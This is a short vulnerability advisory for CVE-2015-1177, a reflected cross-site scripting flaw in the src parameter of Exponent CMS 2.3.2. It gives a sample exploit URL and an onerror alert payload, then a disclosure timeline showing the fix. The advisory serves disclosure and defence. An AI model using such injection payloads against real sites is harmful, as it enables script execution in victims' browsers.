CVE-2015-1177-xss-exponent

 

Information
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Advisory by Octogence.
Name: Reflected XSS Vulnerability in Exponent CMS
Affected Software : Exponent
Affected Versions: 2.3.2 and possibly below
Vendor Homepage : http://www.exponentcms.org/
Vulnerability Type : Cross-site Scripting
Severity : High
CVE ID: CVE-2015-1177

Impact
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An attacker can craft a URL with malicious JavaScript code which executes in the browser.

Technical Details
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Sample URL:
http://localhost/exponent/index.php?controller=search&src=f324e”><img%20src%3da%20onerror%3dalert(1)>9cbae6bf552&action=search&search_string=test&int=%0d

Parameter:
src

Sample Payload:
“><img src=a onerror=alert(1)>

For more information on cross-site scripting vulnerabilities read the following article:
https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)

Advisory Timeline (mm/dd/yyyy)
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12/29/2014 – Reported
12/30/2014 – Vulnerability Fixed
01/18/2015 – Advisory Released